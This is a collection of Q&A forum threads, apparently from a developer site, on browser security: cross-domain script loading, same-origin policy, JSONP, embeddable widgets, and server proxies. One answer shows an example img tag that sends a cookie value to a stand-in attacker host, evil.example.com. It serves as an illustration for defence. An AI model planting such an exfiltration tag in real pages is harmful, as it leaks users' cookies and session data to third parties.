Why is it that when we link to a javascript file on x.com from y.com (for example google analytics or jquery) it doesn't cause any cross domain security issues?
For example:
in y.com/index.html we have:
<script type="text/javascript" src="http://x.com/jsfile.js" />
How can we know when this is ok to do and when it's not?
It has the potential to be a major security hole so you have to trust that site that is hosting the JavaScript file.
For example, that code can inject more script tags and img tags into your site that can relay sensitive data to a 3rd party.
David's comment about the Same Origin policy can be misleading. A classic way to relay data to a remote site is to insert an img tag to a remote domain:
<img src="http://evil.example.com/sendcookieshere.whatever?cookievalue=secret_info />
If the JavaScript code on the remote host was changed to dynamically inject an img tag such as this then your site could have a security hole. There are mitigations to some of these issues such as using HTTP-only cookies, which are not accessible via JavaScript.
The example of analytics systems is a great one. You have to trust that the provider will not take any sensitive data such as your own cookies and send it to a remote location. You also need to trust the provider that their system is secure and that a hacker couldn't alter the JavaScript files on their servers. Analytics systems generally work by using these same techniques, but hopefully they use it for good and not evil. In some sense it's no different than worrying about whether your developers are writing good, secure code and whether they introduce a secret backdoor.
As to why it is allowed, it is just historical. The web was not at all designed with security in mind. Whether it's a CSRF attack, replay attacks, or XSS attacks, these are all fundamental flaws in the design of the web that now become concerns of web developers.
Where the data comes from is irrelevant, it's the scope where it's used that matters.
You are just getting the script from a different domain, it still runs in the scope of your own page so it doesn't have any access to resources in the domain from where it was loaded.
In a situation where you have cross domain issues, like an iframe containing a page from a different domain, you have two different scopes. The page in the iframe runs in the scope of the domain where it was loaded from, so it can access resources in that domain, but it can't access anything in the page that is hosting the iframe as that is a different scope.
(Note: I don't know if the term "scope" is commonly used in this context, there might be a term that better describes it.)
I don't know why we can do it. But you can prevent it from happening using Content Security Policy (CSP), a HTTP header sent by your web application that declares that it should not load JavaScript except from domains you explicitly allow.
https://en.wikipedia.org/wiki/Content_Security_Policy
http://docs.webplatform.org/wiki/tutorials/content-security-policy
https://content-security-policy.com/
https://developer.mozilla.org/en-US/docs/Web/Security/CSP/Using_Content_Security_Policy
Related
I'm working on a credit card processing web application. The application uses HTTPS (TLS). However, the entry page (jsp) copies the credit card information from the original form to another hidden form using javascript. Does this represent any security issue above using a single form? Can a hacker alter javascript to steal data on an HTTPS connection? We do have a site certificate.
No, if a "hacker" had access to the javascript on the page they could find out the details whether you had manipulated them with javascript or not, in the same way you are.
Modifying page objects within the DOM is protected by Same Origin Policy in the browser. If you are manipulating it within the same domain only, it does not add additional risk. It would only become a problem if you were using JavaScript to send card data to domains outside of your control.
the same-origin policy is an important concept in the web application security model. The policy permits scripts running on pages originating from the same site – a combination of scheme, hostname, and port number1 – to access each other's DOM with no specific restrictions, but prevents access to DOM on different sites
When building a widget that is designed to be embedded on 3rd party websites, there appear to be two schools of thought as to how to do it:
Use iframes
Use the main page's DOM
When using the iframe method, cross domain requests are not a problem, as the server thinks that the request originates from its own page.
When using the main page's DOM, cross domain requests are an issue, and the server needs to respond with the appropriate CORS headers for it work.
Which of these two methods is more secure, and what security issues should be taken into account in implementing each of these methods?
You might find this post interesting - How to protect widgets from forged requests:
You don't want this [widget] to be vulnerable to CSRF so you write an iframe to the page. Based on the origin inheritance rules the parent site won't be able to read the CSRF token. However what about clickjacking (or likejacking )? Because of CSRF you must be within an iframe and there for the x-frame-options cannot help, and the same holds true for frame-busters
Negatives of IFrame approach
Vulnerable to Clickjacking / Likejacking
Negatives of DOM approach
Vulnerable to CSRF.
CORS headers on your server will be allowing access to either the whole world, or whole sites that are pre-registered with you. While this doesn't in itself present a vulnerability, care must be taken to make sure no sensitive information is made available (such as user data). There is no way to limit access to your widget only - you would be giving access to the whole Origin (i.e. protocol, domain and port).
As you are manipulating the DOM these objects would be accessible from the remainder of the page outside of your widget.
Summary
In the end it depends on the functionality of your widget. What is the consequence of the parent site automatically submitting the form or clicking a button on your widget under the context of the user? If there is a like or +1 button, the hosting page could be fraudulently promoting their site by making the like/+1 be registered with you without the user's knowledge or consent. This would apply to both approaches, only the attack method would differ (i.e. CSRF or Clickjacking).
The accepted answer on the above post has a solution for CSRF vs Clickjacking:
Clicking on the widget needs to open a pop-up window containing a new page -- an iframe is not good enough, it must be a new window -- which is entirely under the control of your web application. Confirm the action, whatever it is, on that page.
Yes, this is somewhat inelegant, but the present Web security architecture doesn't give you any better options.
In summary, the IFrame approach appears to have overall more security and implementing the popup window upon interaction mitigates the Clickjacking risk.
I'm trying to understand how JSONP works, and from my so far very basic understanding, I feel like it's used to circumvent the same origin policy browsers enforce. I guess this main reason behind the policy is to prevent stuff like XSS exploits (where say someone could inject a script that makes use of the local cookies on a users machine to get valuable information, say when the user has logged into their bank account....is that right?) Now if JSONP is circumventing this policy, can't it be exploited for stuff like this? Sorry if this question is very basic....I just started trying to pickup javascript a few days back, and I'm still trying to wrap my head around it :)
Thanks!
The real question is, do you trust that other domain? Since the other domain is essentially being given FULL access to your page (via JavaScript) you should be absolutely sure that you trust them. If they wanted they could quite easily vandalize your page, redirect the user, or worse: steal your cookies (which leads to a whole bunch of potential problems).
From: http://james.padolsey.com/javascript/cross-domain-requests-with-jsonp-safe/
So, basically, yes, it can be used for XSS exploits. Therefore, it's important that you trust the host domain. If you're unsure about the integrity of the host domain, avoid using JSONP.
When you use JSONP, you are trusting the hosting site not to inject evil code or to allow attackers to inject evil code.
So basically the answer is: Yes. If you don't have that level of trust, don't use JSONP from that site.
Yes it can. If you don't trust the third-party whose data you're requesting, or if someone can inject something in between, then don't use JSONP with it. JSONP will allow arbitrary code from the third-party site to run on your page.
JSONP is leveraging the fact that script tags can load data from externals domains. You are doing this all the time when you use CDNs for popular libraries.
So JSONP by itself does not make XSS exploits easier. The "problem" is that script tags can load arbitrary files and this has nothing to do with JSONP. Whenever you load external files, you have to be sure they do not contain malicious code.
I heard that getting access to the text a Gmail email is very difficult if not impossible (iframes).
Are there certain areas where JavaScript is not capable of doing something?
iframes won't prevent you from accessing content. JavaScript doesn't really have any limits with regards to manipulating the DOM....it can't, however, access stuff on your computer, or be used to upload files and such. It can't read stuff inside flash files either. You don't really have any choices other than JS anyway.. what kind of road blocks are you anticipating?
Since you've chosen to use firefox-addon tag: no, getting access to Gmail text is unproblematic from an add-on. Doing the same from a regular website however isn't possible unless that website is hosted on mail.google.com. Reason is a security mechanism called same-origin policy. Websites are generally limited by the same-origin policy, add-ons are not.
Different browsers have different limitations that they impose on JavaScript as well as different APIs that they provide to JavaScript to grant it access to different forms of data. Until recently, it was not possible for JavaScript to access local files; however, there are now APIs in some browsers to do this.
There is a concept known as the "same origin" policy that is used to ensure that JavaScript running from the context of one domain or protocol cannot access data from another domain or protocol. However, browser add-ons or extensions can often exempt themselves from these restrictions. Also, some browsers provide APIs specifically for communication between different origins; however, these APIs generally require that this is done with the cooperation and permission of both origins.
From extension JS, you can access any part of Gmail. I wrote a browser extension that allowed me to forward a Gmail email to a Facebook contact. It also appeared in Facebook and allowed me to send Facebook message to Gmail contact. It was so that I didn't need to worry about adding contacts from Google to Facebook and vice versa.
That extension was easy. Once you get passed the iframe piece, it is cake. Good luck!
http://developer.yahoo.com/javascript/howto-proxy.html
Are there disadvantages to this technique? The advantage is obvious, that you can use a proxy to get XML or JavaScript on another domain with XMLHttpRequest without running into same-origin restrictions. However, I do not hear about disadvantages over other methods -- are there, and what might they be?
Overhead - things are going to be a bit slower because you're going through an intermediary.
There are security issues if you allow access to any external site via the proxy - be sure to lock it down to the specific site (and probably specific URL) of the resource you're proxying.
Overhead -- both for the user (who know hsa to wait for you server to make and receive data from the proxied source) and you (as you're now taking on all the traffic for the other server in addition to your own).
Also security concerns -- if you are using a proxy to bypass browser security checks for displaying untrusted content, you are deliberately sabotaging the browser security model -- potentially allowing the user to be compromised -- so unless you absolutely trust the server you are communicating with (that means no random ads, no user defined content in the page[s] you are proxying) you should not do this.
I suppose there could be security considerations, though others are likely to be more qualified than me to address that. I've been running such a proxy on my personal site for a while now and haven't run into problems.